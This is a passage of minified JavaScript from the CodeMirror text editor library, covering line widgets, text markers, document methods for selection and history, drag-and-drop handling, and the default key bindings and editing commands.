i=this.children[r],o=i.chunkSize();if(e<o){var l=Math.min(t,o-e);if(i.iterN(e,l,n))return!0;if(0==(t-=l))break;e=0}else e-=o}}};function ao(e,t,n){if(n)for(var r in n)n.hasOwnProperty(r)&&(this[r]=n[r]);this.doc=e,this.node=t}function uo(e,t,n){tn(t)<(e.curOp&&e.curOp.scrollTop||e.doc.scrollTop)&&Ar(e,n)}ao.prototype.clear=function(){var e=this.doc.cm,t=this.line.widgets,n=this.line,r=D(n);if(null!=r&&t){for(var i=0;i<t.length;++i)t[i]==this&&t.splice(i--,1);t.length||(n.widgets=null);var o=kn(this);pt(n,Math.max(0,n.height-o)),e&&(h(e,function(){uo(e,n,-o),fr(e,r,"widget")}),b(e,"lineWidgetCleared",e,this,r))}},ao.prototype.changed=function(){var e=this,t=this.height,n=this.doc.cm,r=this.line,i=(this.height=null,kn(this)-t);i&&(en(this.doc,r)||pt(r,r.height+i),n)&&h(n,function(){n.curOp.forceUpdate=!0,uo(n,r,i),b(n,"lineWidgetChanged",n,e,D(r))})},Ke(ao);function co(e,t){this.lines=[],this.type=t,this.doc=e,this.id=++ho}var ho=0;function fo(t,n,r,e,i){if(e&&e.shared)return f=t,o=n,l=r,a=i,(s=ae(s=e)).shared=!1,u=[fo(f,o,l,s,a)],c=u[0],h=s.widgetNode,Ci(f,function(e){h&&(s.widgetNode=h.cloneNode(!0)),u.push(fo(e,F(e,o),F(e,l),s,a));for(var t=0;t<e.linked.length;++t)if(e.linked[t].isParent)return;c=z(u)}),new po(u,c);var o,l,s,a,u,c,h;if(t.cm&&!t.cm.curOp)return P(t.cm,fo)(t,n,r,e,i);var d=new co(t,i),f=H(n,r);if(e&&ae(e,d,!1),!(0<f||0==f&&!1!==d.clearWhenEmpty)){if(d.replacedWith&&(d.collapsed=!0,d.widgetNode=ee("span",[d.replacedWith],"CodeMirror-widget"),e.handleMouseEvents||d.widgetNode.setAttribute("cm-ignore-events","true"),e.insertLeft)&&(d.widgetNode.insertLeft=!0),d.collapsed){if(qt(t,n.line,n,r,d)||n.line!=r.line&&qt(t,r.line,n,r,d))throw new Error("Inserting collapsed marker partially overlapping an existing one");It=!0}d.addToHistory&&Ni(t,{from:n,to:r,origin:"markText"},t.sel,NaN);var p,g=n.line,m=t.cm;if(t.iter(g,r.line+1,function(e){var t;m&&d.collapsed&&!m.options.lineWrapping&&Zt(e)==m.display.maxLine&&(p=!0),d.collapsed&&g!=n.line&&pt(e,0),e=e,t=new zt(d,g==n.line?n.ch:null,g==r.line?r.ch:null),e.markedSpans=e.markedSpans?e.markedSpans.concat([t]):[t],t.marker.attachLine(e),++g}),d.collapsed&&t.iter(n.line,r.line+1,function(e){en(t,e)&&pt(e,0)}),d.clearOnEnter&&L(d,"beforeCursorEnter",function(){return d.clear()}),d.readOnly&&(Pt=!0,t.history.done.length||t.history.undone.length)&&t.clearHistory(),d.collapsed&&(d.id=++ho,d.atomic=!0),m){if(p&&(m.curOp.updateMaxLine=!0),d.collapsed)E(m,n.line,r.line+1);else if(d.className||d.startStyle||d.endStyle||d.css||d.attributes||d.title)for(var v=n.line;v<=r.line;v++)fr(m,v,"text");d.atomic&&Vi(m.doc),b(m,"markerAdded",m,d)}}return d}co.prototype.clear=function(){if(!this.explicitlyCleared){for(var e,t=this.doc.cm,n=t&&!t.curOp,r=(n&&Xr(t),Ve(this,"clear")&&(e=this.find())&&b(this,"clear",e.from,e.to),null),i=null,o=0;o<this.lines.length;++o){var l=this.lines[o],s=Rt(l.markedSpans,this);t&&!this.collapsed?fr(t,D(l),"text"):t&&(null!=s.to&&(i=D(l)),null!=s.from)&&(r=D(l)),l.markedSpans=function(e,t){for(var n,r=0;r<e.length;++r)e[r]!=t&&(n=n||[]).push(e[r]);return n}(l.markedSpans,s),null==s.from&&this.collapsed&&!en(this.doc,l)&&t&&pt(l,or(t.display))}if(t&&this.collapsed&&!t.options.lineWrapping)for(var a=0;a<this.lines.length;++a){var u=Zt(this.lines[a]),c=nn(u);c>t.display.maxLineLength&&(t.display.maxLine=u,t.display.maxLineLength=c,t.display.maxLineChanged=!0)}null!=r&&t&&this.collapsed&&E(t,r,i+1),this.lines.length=0,this.explicitlyCleared=!0,this.atomic&&this.doc.cantEdit&&(this.doc.cantEdit=!1,t)&&Vi(t.doc),t&&b(t,"markerCleared",t,this,r,i),n&&Yr(t),this.parent&&this.parent.clear()}},co.prototype.find=function(e,t){var n,r;null==e&&"bookmark"==this.type&&(e=1);for(var i=0;i<this.lines.length;++i){var o=this.lines[i],l=Rt(o.markedSpans,this);if(null!=l.from&&(n=W(t?o:D(o),l.from),-1==e))return n;if(null!=l.to&&(r=W(t?o:D(o),l.to),1==e))return r}return n&&{from:n,to:r}},co.prototype.changed=function(){var n=this,r=this.find(-1,!0),i=this,o=this.doc.cm;r&&o&&h(o,function(){var e=r.line,t=D(r.line),t=En(o,t);t&&(Gn(t),o.curOp.selectionChanged=o.curOp.forceUpdate=!0),o.curOp.updateMaxLine=!0,!en(i.doc,e)&&null!=i.height&&(t=i.height,i.height=null,t=kn(i)-t)&&pt(e,e.height+t),b(o,"markerChanged",o,n)})},co.prototype.attachLine=function(e){var t;this.lines.length||!this.doc.cm||(t=this.doc.cm.curOp).maybeHiddenMarkers&&-1!=S(t.maybeHiddenMarkers,this)||(t.maybeUnhiddenMarkers||(t.maybeUnhiddenMarkers=[])).push(this),this.lines.push(e)},co.prototype.detachLine=function(e){this.lines.splice(S(this.lines,e),1),!this.lines.length&&this.doc.cm&&((e=this.doc.cm.curOp).maybeHiddenMarkers||(e.maybeHiddenMarkers=[])).push(this)},Ke(co);var po=function(e,t){this.markers=e,this.primary=t;for(var n=0;n<e.length;++n)e[n].parent=this};function go(e){return e.findMarks(W(e.first,0),e.clipPos(W(e.lastLine())),function(e){return e.parent})}function mo(o){for(var e=0;e<o.length;e++)!function(e){var t=o[e],n=[t.primary.doc];Ci(t.primary.doc,function(e){return n.push(e)});for(var r=0;r<t.markers.length;r++){var i=t.markers[r];-1==S(n,i.doc)&&(i.parent=null,t.markers.splice(r--,1))}}(e)}po.prototype.clear=function(){if(!this.explicitlyCleared){this.explicitlyCleared=!0;for(var e=0;e<this.markers.length;++e)this.markers[e].clear();b(this,"clear")}},po.prototype.find=function(e,t){return this.primary.find(e,t)},Ke(po);function p(e,t,n,r,i){if(!(this instanceof p))return new p(e,t,n,r,i);null==n&&(n=0),so.call(this,[new lo([new on("",null)])]),this.first=n,this.scrollTop=this.scrollLeft=0,this.cantEdit=!1,this.cleanGeneration=1,n=W(this.modeFrontier=this.highlightFrontier=n,0),this.sel=fi(n),this.history=new ki(null),this.id=++vo,this.modeOption=t,this.lineSep=r,this.direction="rtl"==i?"rtl":"ltr",this.extend=!1,"string"==typeof e&&(e=this.splitLines(e)),xi(this,{from:n,to:n,text:e}),B(this,fi(n),fe)}var vo=0,yo=((p.prototype=xe(so.prototype,{constructor:p,iter:function(e,t,n){n?this.iterN(e-this.first,t-e,n):this.iterN(this.first,this.first+this.size,e)},insert:function(e,t){for(var n=0,r=0;r<t.length;++r)n+=t[r].height;this.insertInner(e-this.first,t,n)},remove:function(e,t){this.removeInner(e-this.first,t)},getValue:function(e){var t=ft(this,this.first,this.first+this.size);return!1===e?t:t.join(e||this.lineSeparator())},setValue:r(function(e){var t=W(this.first,0),n=this.first+this.size-1;qi(this,{from:t,to:W(n,A(this,n).text.length),text:this.splitLines(e),origin:"setValue",full:!0},!0),this.cm&&Wr(this.cm,0,0),B(this,fi(t),fe)}),replaceRange:function(e,t,n,r){to(this,e,t=F(this,t),n=n?F(this,n):t,r)},getRange:function(e,t,n){e=dt(this,F(this,e),F(this,t));return!1===n?e:e.join(n||this.lineSeparator())},getLine:function(e){e=this.getLineHandle(e);return e&&e.text},getLineHandle:function(e){if(mt(this,e))return A(this,e)},getLineNumber:D,getLineHandleVisualStart:function(e){return Zt(e="number"==typeof e?A(this,e):e)},lineCount:function(){return this.size},firstLine:function(){return this.first},lastLine:function(){return this.first+this.size-1},clipPos:function(e){return F(this,e)},getCursor:function(e){var t=this.sel.primary(),e=null==e||"head"==e?t.head:"anchor"==e?t.anchor:"end"==e||"to"==e||!1===e?t.to():t.from();return e},listSelections:function(){return this.sel.ranges},somethingSelected:function(){return this.sel.somethingSelected()},setCursor:r(function(e,t,n){Ri(this,F(this,"number"==typeof e?W(e,t||0):e),null,n)}),setSelection:r(function(e,t,n){Ri(this,F(this,e),F(this,t||e),n)}),extendSelection:r(function(e,t,n){Pi(this,F(this,e),t&&F(this,t),n)}),extendSelections:r(function(e,t){Ii(this,St(this,e),t)}),extendSelectionsBy:r(function(e,t){Ii(this,St(this,be(this.sel.ranges,e)),t)}),setSelections:r(function(e,t,n){if(e.length){for(var r=[],i=0;i<e.length;i++)r[i]=new R(F(this,e[i].anchor),F(this,e[i].head));null==t&&(t=Math.min(e.length-1,this.sel.primIndex)),B(this,di(this.cm,r,t),n)}}),addSelection:r(function(e,t,n){var r=this.sel.ranges.slice(0);r.push(new R(F(this,e),F(this,t||e))),B(this,di(this.cm,r,r.length-1),n)}),getSelection:function(e){for(var t=this.sel.ranges,n=0;n<t.length;n++)var r=dt(this,t[n].from(),t[n].to()),i=i?i.concat(r):r;return!1===e?i:i.join(e||this.lineSeparator())},getSelections:function(e){for(var t=[],n=this.sel.ranges,r=0;r<n.length;r++){var i=dt(this,n[r].from(),n[r].to());!1!==e&&(i=i.join(e||this.lineSeparator())),t[r]=i}return t},replaceSelection:function(e,t,n){for(var r=[],i=0;i<this.sel.ranges.length;i++)r[i]=e;this.replaceSelections(r,t,n||"+input")},replaceSelections:r(function(e,t,n){for(var r=[],i=this.sel,o=0;o<i.ranges.length;o++){var l=i.ranges[o];r[o]={from:l.from(),to:l.to(),text:this.splitLines(e[o]),origin:n}}for(var t=t&&"end"!=t&&function(e,t,n){for(var r=[],i=u=W(e.first,0),o=0;o<t.length;o++){var l=t[o],s=vi(l.from,u,i),a=vi(pi(l),u,i),u=l.to,i=a;"around"==n?(l=H((l=e.sel.ranges[o]).head,l.anchor)<0,r[o]=new R(l?a:s,l?s:a)):r[o]=new R(s,s)}return new I(r,e.sel.primIndex)}(this,r,t),s=r.length-1;0<=s;s--)qi(this,r[s]);t?Bi(this,t):this.cm&&Dr(this.cm)}),undo:r(function(){Qi(this,"undo")}),redo:r(function(){Qi(this,"redo")}),undoSelection:r(function(){Qi(this,"undo",!0)}),redoSelection:r(function(){Qi(this,"redo",!0)}),setExtending:function(e){this.extend=e},getExtending:function(){return this.extend},historySize:function(){for(var e=this.history,t=0,n=0,r=0;r<e.done.length;r++)e.done[r].ranges||++t;for(var i=0;i<e.undone.length;i++)e.undone[i].ranges||++n;return{undo:t,redo:n}},clearHistory:function(){var t=this;this.history=new ki(this.history.maxGeneration),Ci(this,function(e){return e.history=t.history},!0)},markClean:function(){this.cleanGeneration=this.changeGeneration(!0)},changeGeneration:function(e){return e&&(this.history.lastOp=this.history.lastSelOp=this.history.lastOrigin=null),this.history.generation},isClean:function(e){return this.history.generation==(e||this.cleanGeneration)},getHistory:function(){return{done:Fi(this.history.done),undone:Fi(this.history.undone)}},setHistory:function(e){var t=this.history=new ki(this.history.maxGeneration);t.done=Fi(e.done.slice(0),null,!0),t.undone=Fi(e.undone.slice(0),null,!0)},setGutterMarker:r(function(e,n,r){return oo(this,e,"gutter",function(e){var t=e.gutterMarkers||(e.gutterMarkers={});return!(t[n]=r)&&ke(t)&&(e.gutterMarkers=null),1})}),clearGutter:r(function(t){var n=this;this.iter(function(e){e.gutterMarkers&&e.gutterMarkers[t]&&oo(n,e,"gutter",function(){return e.gutterMarkers[t]=null,ke(e.gutterMarkers)&&(e.gutterMarkers=null),1})})}),lineInfo:function(e){var t;if("number"==typeof e){if(!mt(this,e))return null;if(!(e=A(this,t=e)))return null}else if(null==(t=D(e)))return null;return{line:t,handle:e,text:e.text,gutterMarkers:e.gutterMarkers,textClass:e.textClass,bgClass:e.bgClass,wrapClass:e.wrapClass,widgets:e.widgets}},addLineClass:r(function(e,n,r){return oo(this,e,"gutter"==n?"gutter":"class",function(e){var t="text"==n?"textClass":"background"==n?"bgClass":"gutter"==n?"gutterClass":"wrapClass";if(e[t]){if(Z(r).test(e[t]))return;e[t]+=" "+r}else e[t]=r;return 1})}),removeLineClass:r(function(e,o,l){return oo(this,e,"gutter"==o?"gutter":"class",function(e){var t="text"==o?"textClass":"background"==o?"bgClass":"gutter"==o?"gutterClass":"wrapClass",n=e[t];if(n){if(null==l)e[t]=null;else{var r=n.match(Z(l));if(!r)return;var i=r.index+r[0].length;e[t]=n.slice(0,r.index)+(r.index&&i!=n.length?" ":"")+n.slice(i)||null}return 1}})}),addLineWidget:r(function(e,t,n){return e=e,i=new ao(r=this,t,n),(o=r.cm)&&i.noHScroll&&(o.display.alignWidgets=!0),oo(r,e,"widget",function(e){var t=e.widgets||(e.widgets=[]);return null==i.insertAt?t.push(i):t.splice(Math.min(t.length,Math.max(0,i.insertAt)),0,i),i.line=e,o&&!en(r,e)&&(t=tn(e)<r.scrollTop,pt(e,e.height+kn(i)),t&&Ar(o,i.height),o.curOp.forceUpdate=!0),1}),o&&b(o,"lineWidgetAdded",o,i,"number"==typeof e?e:D(e)),i;var r,i,o}),removeLineWidget:function(e){e.clear()},markText:function(e,t,n){return fo(this,F(this,e),F(this,t),n,n&&n.type||"range")},setBookmark:function(e,t){t={replacedWith:t&&(null==t.nodeType?t.widget:t),insertLeft:t&&t.insertLeft,clearWhenEmpty:!1,shared:t&&t.shared,handleMouseEvents:t&&t.handleMouseEvents};return fo(this,e=F(this,e),e,t,"bookmark")},findMarksAt:function(e){var t=[],n=A(this,(e=F(this,e)).line).markedSpans;if(n)for(var r=0;r<n.length;++r){var i=n[r];(null==i.from||i.from<=e.ch)&&(null==i.to||i.to>=e.ch)&&t.push(i.marker.parent||i.marker)}return t},findMarks:function(i,o,l){i=F(this,i),o=F(this,o);var s=[],a=i.line;return this.iter(i.line,o.line+1,function(e){var t=e.markedSpans;if(t)for(var n=0;n<t.length;n++){var r=t[n];null!=r.to&&a==i.line&&i.ch>=r.to||null==r.from&&a!=i.line||null!=r.from&&a==o.line&&r.from>=o.ch||l&&!l(r.marker)||s.push(r.marker.parent||r.marker)}++a}),s},getAllMarks:function(){var r=[];return this.iter(function(e){var t=e.markedSpans;if(t)for(var n=0;n<t.length;++n)null!=t[n].from&&r.push(t[n].marker)}),r},posFromIndex:function(t){var n,r=this.first,i=this.lineSeparator().length;return this.iter(function(e){e=e.text.length+i;if(t<e)return n=t,!0;t-=e,++r}),F(this,W(r,n))},indexFromPos:function(e){var t,n=(e=F(this,e)).ch;return e.line<this.first||e.ch<0?0:(t=this.lineSeparator().length,this.iter(this.first,e.line,function(e){n+=e.text.length+t}),n)},copy:function(e){var t=new p(ft(this,this.first,this.first+this.size),this.modeOption,this.first,this.lineSep,this.direction);return t.scrollTop=this.scrollTop,t.scrollLeft=this.scrollLeft,t.sel=this.sel,t.extend=!1,e&&(t.history.undoDepth=this.history.undoDepth,t.setHistory(this.getHistory())),t},linkedDoc:function(e){for(var t=this.first,n=this.first+this.size,n=(null!=(e=e||{}).from&&e.from>t&&(t=e.from),null!=e.to&&e.to<n&&(n=e.to),new p(ft(this,t,n),e.mode||this.modeOption,t,this.lineSep,this.direction)),r=(e.sharedHist&&(n.history=this.history),(this.linked||(this.linked=[])).push({doc:n,sharedHist:e.sharedHist}),n.linked=[{doc:this,isParent:!0,sharedHist:e.sharedHist}],n),i=go(this),o=0;o<i.length;o++){var l=i[o],s=l.find(),a=r.clipPos(s.from),s=r.clipPos(s.to);H(a,s)&&(a=fo(r,a,s,l.primary,l.primary.type),l.markers.push(a),a.parent=l)}return n},unlinkDoc:function(e){if(e instanceof m&&(e=e.doc),this.linked)for(var t=0;t<this.linked.length;++t){var n=this.linked[t];if(n.doc==e){this.linked.splice(t,1),e.unlinkDoc(this),mo(go(this));break}}var r;e.history==this.history&&(r=[e.id],Ci(e,function(e){return r.push(e.id)},!0),e.history=new ki(null),e.history.done=Fi(this.history.done,r),e.history.undone=Fi(this.history.undone,r))},iterLinkedDocs:function(e){Ci(this,e)},getMode:function(){return this.mode},getEditor:function(){return this.cm},splitLines:function(e){return this.lineSep?e.split(this.lineSep):Je(e)},lineSeparator:function(){return this.lineSep||"\n"},setDirection:r(function(e){var t;(e="rtl"!=e?"ltr":e)!=this.direction&&(this.direction=e,this.iter(function(e){return e.order=null}),this.cm)&&h(t=this.cm,function(){Li(t),E(t)})})})).eachLine=p.prototype.iter,0);function bo(e){var r=this;if(wo(r),!O(r,e)&&!Tn(r.display,e)){T(e),w&&(yo=+new Date);var t=hr(r,e,!0),n=e.dataTransfer.files;if(t&&!r.isReadOnly())if(n&&n.length&&window.FileReader&&window.File)for(var i=n.length,o=Array(i),l=0,s=function(){++l==i&&P(r,function(){var e={from:t=F(r.doc,t),to:t,text:r.doc.splitLines(o.filter(function(e){return null!=e}).join(r.doc.lineSeparator())),origin:"paste"};qi(r.doc,e),Bi(r.doc,fi(F(r.doc,t),F(r.doc,pi(e))))})()},a=0;a<n.length;a++)!function(e,t){var n;r.options.allowDropFileTypes&&-1==S(r.options.allowDropFileTypes,e.type)?s():((n=new FileReader).onerror=function(){return s()},n.onload=function(){var e=n.result;/[\x00-\x08\x0e-\x1f]{2}/.test(e)||(o[t]=e),s()},n.readAsText(e))}(n[a],a);else if(r.state.draggingText&&-1<r.doc.sel.contains(t))r.state.draggingText(e),setTimeout(function(){return r.display.input.focus()},20);else try{var u,c=e.dataTransfer.getData("Text");if(c){if(r.state.draggingText&&!r.state.draggingText.copy&&(u=r.listSelections()),Gi(r.doc,fi(t,t)),u)for(var h=0;h<u.length;++h)to(r.doc,"",u[h].anchor,u[h].head,"drag");r.replaceSelection(c,"around","paste"),r.display.input.focus()}}catch(e){}}}function wo(e){e.display.dragCursor&&(e.display.lineSpace.removeChild(e.display.dragCursor),e.display.dragCursor=null)}function xo(t){if(document.getElementsByClassName){for(var e=document.getElementsByClassName("CodeMirror"),n=[],r=0;r<e.length;r++){var i=e[r].CodeMirror;i&&n.push(i)}n.length&&n[0].operation(function(){for(var e=0;e<n.length;e++)t(n[e])})}}var Co=!1;function So(){var e;Co||(L(window,"resize",function(){null==e&&(e=setTimeout(function(){e=null,xo(Lo)},100))}),L(window,"blur",function(){return xo(kr)}),Co=!0)}function Lo(e){var t=e.display;t.cachedCharWidth=t.cachedTextHeight=t.cachedPaddingH=null,t.scrollbarsClipped=!1,e.setSize()}for(var ko={3:"Pause",8:"Backspace",9:"Tab",13:"Enter",16:"Shift",17:"Ctrl",18:"Alt",19:"Pause",20:"CapsLock",27:"Esc",32:"Space",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"Left",38:"Up",39:"Right",40:"Down",44:"PrintScrn",45:"Insert",46:"Delete",59:";",61:"=",91:"Mod",92:"Mod",93:"Mod",106:"*",107:"=",109:"-",110:".",111:"/",145:"ScrollLock",173:"-",186:";",187:"=",188:",",189:"-",190:".",191:"/",192:"`",219:"[",220:"\\",221:"]",222:"'",224:"Mod",63232:"Up",63233:"Down",63234:"Left",63235:"Right",63272:"Delete",63273:"Home",63275:"End",63276:"PageUp",63277:"PageDown",63302:"Insert"},To=0;To<10;To++)ko[To+48]=ko[To+96]=String(To);for(var Mo=65;Mo<=90;Mo++)ko[Mo]=String.fromCharCode(Mo);for(var No=1;No<=12;No++)ko[No+111]=ko[No+63235]="F"+No;var Oo={};function Ao(e){var t,n,r,i,o=e.split(/-(?!$)/);e=o[o.length-1];for(var l=0;l<o.length-1;l++){var s=o[l];if(/^(cmd|meta|m)$/i.test(s))i=!0;else if(/^a(lt)?$/i.test(s))t=!0;else if(/^(c|ctrl|control)$/i.test(s))n=!0;else{if(!/^s(hift)?$/i.test(s))throw new Error("Unrecognized modifier name: "+s);r=!0}}return t&&(e="Alt-"+e),n&&(e="Ctrl-"+e),i&&(e="Cmd-"+e),e=r?"Shift-"+e:e}function Do(e){var t,n,r={};for(t in e)if(e.hasOwnProperty(t)){var i=e[t];if(!/^(name|fallthrough|(de|at)tach)$/.test(t)){if("..."!=i)for(var o=be(t.split(" "),Ao),l=0;l<o.length;l++){var s=void 0,a=void 0,s=l==o.length-1?(a=o.join(" "),i):(a=o.slice(0,l+1).join(" "),"..."),u=r[a];if(u){if(u!=s)throw new Error("Inconsistent bindings for "+a)}else r[a]=s}delete e[t]}}for(n in r)e[n]=r[n];return e}function Wo(e,t,n,r){var i=(t=Po(t)).call?t.call(e,r):t[e];if(!1===i)return"nothing";if("..."===i)return"multi";if(null!=i&&n(i))return"handled";if(t.fallthrough){if("[object Array]"!=Object.prototype.toString.call(t.fallthrough))return Wo(e,t.fallthrough,n,r);for(var o=0;o<t.fallthrough.length;o++){var l=Wo(e,t.fallthrough[o],n,r);if(l)return l}}}function Ho(e){e="string"==typeof e?e:ko[e.keyCode];return"Ctrl"==e||"Alt"==e||"Shift"==e||"Mod"==e}function Fo(e,t,n){var r=e;return t.altKey&&"Alt"!=r&&(e="Alt-"+e),($?t.metaKey:t.ctrlKey)&&"Ctrl"!=r&&(e="Ctrl-"+e),($?t.ctrlKey:t.metaKey)&&"Mod"!=r&&(e="Cmd-"+e),e=!n&&t.shiftKey&&"Shift"!=r?"Shift-"+e:e}function Eo(e,t){var n;return!(U&&34==e.keyCode&&e.char||null==(n=ko[e.keyCode])||e.altGraphKey)&&Fo(n=3==e.keyCode&&e.code?e.code:n,e,t)}function Po(e){return"string"==typeof e?Oo[e]:e}function Io(t,e){for(var n=t.doc.sel.ranges,r=[],i=0;i<n.length;i++){for(var o=e(n[i]);r.length&&H(o.from,z(r).to)<=0;){var l=r.pop();if(H(l.from,o.from)<0){o.from=l.from;break}}r.push(o)}h(t,function(){for(var e=r.length-1;0<=e;e--)to(t.doc,"",r[e].from,r[e].to,"+delete");Dr(t)})}function zo(e,t,n){t=Ne(e.text,t+n,n);return t<0||t>e.text.length?null:t}function Ro(e,t,n){e=zo(e,t.ch,n);return null==e?null:new W(t.line,e,n<0?"after":"before")}function Bo(e,t,n,r,i){if(e){"rtl"==t.doc.direction&&(i=-i);var o,l,s,a,e=Re(n,t.doc.direction);if(e)return o=i<0==(1==(e=i<0?z(e):e[0]).level)?"after":"before",0<e.level||"rtl"==t.doc.direction?(l=Pn(t,n),s=i<0?n.text.length-1:0,a=In(t,l,s).top,s=Oe(function(e){return In(t,l,e).top==a},i<0==(1==e.level)?e.from:e.to-1,s),"before"==o&&(s=zo(n,s,1))):s=i<0?e.to:e.from,new W(r,s,o)}return new W(r,i<0?n.text.length:0,i<0?"before":"after")}function Go(t,n,s,e){var a=Re(n,t.doc.direction);if(!a)return Ro(n,s,e);s.ch>=n.text.length?(s.ch=n.text.length,s.sticky="before"):s.ch<=0&&(s.ch=0,s.sticky="after");var r=De(a,s.ch,s.sticky),i=a[r];if("ltr"==t.doc.direction&&i.level%2==0&&(0<e?i.to>s.ch:i.from<s.ch))return Ro(n,s,e);function u(e,t){return zo(n,e instanceof W?e.ch:e,t)}function o(e){return t.options.lineWrapping?(l=l||Pn(t,n),tr(t,n,l,e)):{begin:0,end:n.text.length}}var l,c=o("before"==s.sticky?u(s,-1):s.ch);if("rtl"==t.doc.direction||1==i.level){var h=1==i.level==e<0,d=u(s,h?1:-1);if(null!=d&&(h?d<=i.to&&d<=c.end:d>=i.from&&d>=c.begin))return new W(s.line,d,h?"before":"after")}function f(e,t,n){for(var r=function(e,t){return t?new W(s.line,u(e,1),"before"):new W(s.line,e,"after")};0<=e&&e<a.length;e+=t){var i=a[e],o=0<t==(1!=i.level),l=o?n.begin:u(n.end,-1);if(i.from<=l&&l<i.to)return r(l,o);if(l=o?i.from:u(i.to,-1),n.begin<=l&&l<n.end)return r(l,o)}}i=f(r+e,e,c);return i||(null==(d=0<e?c.end:u(c.begin,-1))||0<e&&d==n.text.length||!(i=f(0<e?0:a.length-1,e,o(d)))?null:i)}Oo.basic={Left:"goCharLeft",Right:"goCharRight",Up:"goLineUp",Down:"goLineDown",End:"goLineEnd",Home:"goLineStartSmart",PageUp:"goPageUp",PageDown:"goPageDown",Delete:"delCharAfter",Backspace:"delCharBefore","Shift-Backspace":"delCharBefore",Tab:"defaultTab","Shift-Tab":"indentAuto",Enter:"newlineAndIndent",Insert:"toggleOverwrite",Esc:"singleSelection"},Oo.pcDefault={"Ctrl-A":"selectAll","Ctrl-D":"deleteLine","Ctrl-Z":"undo","Shift-Ctrl-Z":"redo","Ctrl-Y":"redo","Ctrl-Home":"goDocStart","Ctrl-End":"goDocEnd","Ctrl-Up":"goLineUp","Ctrl-Down":"goLineDown","Ctrl-Left":"goGroupLeft","Ctrl-Right":"goGroupRight","Alt-Left":"goLineStart","Alt-Right":"goLineEnd","Ctrl-Backspace":"delGroupBefore","Ctrl-Delete":"delGroupAfter","Ctrl-S":"save","Ctrl-F":"find","Ctrl-G":"findNext","Shift-Ctrl-G":"findPrev","Shift-Ctrl-F":"replace","Shift-Ctrl-R":"replaceAll","Ctrl-[":"indentLess","Ctrl-]":"indentMore","Ctrl-U":"undoSelection","Shift-Ctrl-U":"redoSelection","Alt-U":"redoSelection",fallthrough:"basic"},Oo.emacsy={"Ctrl-F":"goCharRight","Ctrl-B":"goCharLeft","Ctrl-P":"goLineUp","Ctrl-N":"goLineDown","Alt-F":"goWordRight","Alt-B":"goWordLeft","Ctrl-A":"goLineStart","Ctrl-E":"goLineEnd","Ctrl-V":"goPageDown","Shift-Ctrl-V":"goPageUp","Ctrl-D":"delCharAfter","Ctrl-H":"delCharBefore","Alt-D":"delWordAfter","Alt-Backspace":"delWordBefore","Ctrl-K":"killLine","Ctrl-T":"transposeChars","Ctrl-O":"openLine"},Oo.macDefault={"Cmd-A":"selectAll","Cmd-D":"deleteLine","Cmd-Z":"undo","Shift-Cmd-Z":"redo","Cmd-Y":"redo","Cmd-Home":"goDocStart","Cmd-Up":"goDocStart","Cmd-End":"goDocEnd","Cmd-Down":"goDocEnd","Alt-Left":"goGroupLeft","Alt-Right":"goGroupRight","Cmd-Left":"goLineLeft","Cmd-Right":"goLineRight","Alt-Backspace":"delGroupBefore","Ctrl-Alt-Backspace":"delGroupAfter","Alt-Delete":"delGroupAfter","Cmd-S":"save","Cmd-F":"find","Cmd-G":"findNext","Shift-Cmd-G":"findPrev","Cmd-Alt-F":"replace","Shift-Cmd-Alt-F":"replaceAll","Cmd-[":"indentLess","Cmd-]":"indentMore","Cmd-Backspace":"delWrappedLineLeft","Cmd-Delete":"delWrappedLineRight","Cmd-U":"undoSelection","Shift-Cmd-U":"redoSelection","Ctrl-Up":"goDocStart","Ctrl-Down":"goDocEnd",fallthrough:["basic","emacsy"]},Oo.default=C?Oo.macDefault:Oo.pcDefault;var Uo={selectAll:_i,singleSelection:function(e){return e.setSelection(e.getCursor("anchor"),e.getCursor("head"),fe)},killLine:function(n){return Io(n,function(e){var t;return e.empty()?(t=A(n.doc,e.head.line).text.length,e.head.ch==t&&e.head.line<n.lastLine()?{from:e.head,to:W(e.head.line+1,0)}:{from:e.head,to:W(e.head.line,t)}):{from:e.from(),to:e.to()}})},deleteLine:function(t){return Io(t,function(e){return{from:W(e.from().line,0),to:F(t.doc,W(e.to().line+1,0))}})},delLineLeft:function(e){return Io(e,function(e){return{from:W(e.from().line,0),to:e.from()}})},delWrappedLineLeft:function(n){return Io(n,function(e){var t=n.charCoords(e.head,"div").top+5;return{from:n.coordsChar({left:0,top:t},"div"),to:e.from()}})},delWrappedLineRight:function(n){return Io(n,function(e){var t=n.charCoords(e.head,"div").top+5,t=n.coordsChar({left:n.display.lineDiv.offsetWidth+100,top:t},"div");return{from:e.from(),to:t}})},undo:function(e){return e.undo()},redo:function(e){return e.redo()},undoSelection:function(e){return e.undoSelection()},redoSelection:function(e){return e.redoSelection()},goDocStart:function(e){return e.extendSelection(W(e.firstLine(),0))},goDocEnd:function(e){return e.extendSelection(W(e.lastLine()))},goLineStart:function(t){return t.extendSelectionsBy(function(e){return Vo(t,e.head.line)},{origin:"+move",bias:1})},goLineStartSmart:function(t){return t.extendSelectionsBy(function(e){return Ko(t,e.head)},{origin:"+move",bias:1})},goLineEnd:function(i){return i.extendSelectionsBy(function(e){var t=i,e=e.head.line,n=A(t.doc,e),r=function(e){for(var t;t=$t(e);)e=t.find(1,!0).line;return e}(n);return r!=n&&(e=D(r)),Bo(!0,t,n,e,-1)},{origin:"+move",bias:-1})},goLineRight:function(t){return t.extendSelectionsBy(function(e){e=t.cursorCoords(e.head,"div").top+5;return t.coordsChar({left:t.display.lineDiv.offsetWidth+100,top:e},"div")},ge)},goLineLeft:function(t){return t.extendSelectionsBy(function(e){e=t.cursorCoords(e.head,"div").top+5;return t.coordsChar({left:0,top:e},"div")},ge)},goLineLeftSmart:function(n){return n.extendSelectionsBy(function(e){var t=n.cursorCoords(e.head,"div").top+5,t=n.coordsChar({left:0,top:t},"div");return t.ch<n.getLine(t.line).search(/\S/)?Ko(n,e.head):t},ge)},goLineUp:function(e){return e.moveV(-1,"line")},goLineDown:function(e){return e.moveV(1,"line")},goPageUp:function(e){return e.moveV(-1,"page")},goPageDown:function(e){return e.moveV(1,"page")},goCharLeft:function(e){return e.moveH(-1,"char")},goCharRight:function(e){return e.moveH(1,"char")},goColumnLeft:function(e){return e.moveH(-1,"column")},goColumnRight:function(e){return e.moveH(1,"column")},goWordLeft:function(e){return e.moveH(-1,"word")},goGroupRight:function(e){return e.moveH(1,"group")},goGroupLeft:function(e){return e.moveH(-1,"group")},goWordRight:function(e){return e.moveH(1,"word")},delCharBefore:function(e){return e.deleteH(-1,"codepoint")},delCharAfter:function(e){return e.deleteH(1,"char")},delWordBefore:function(e){return 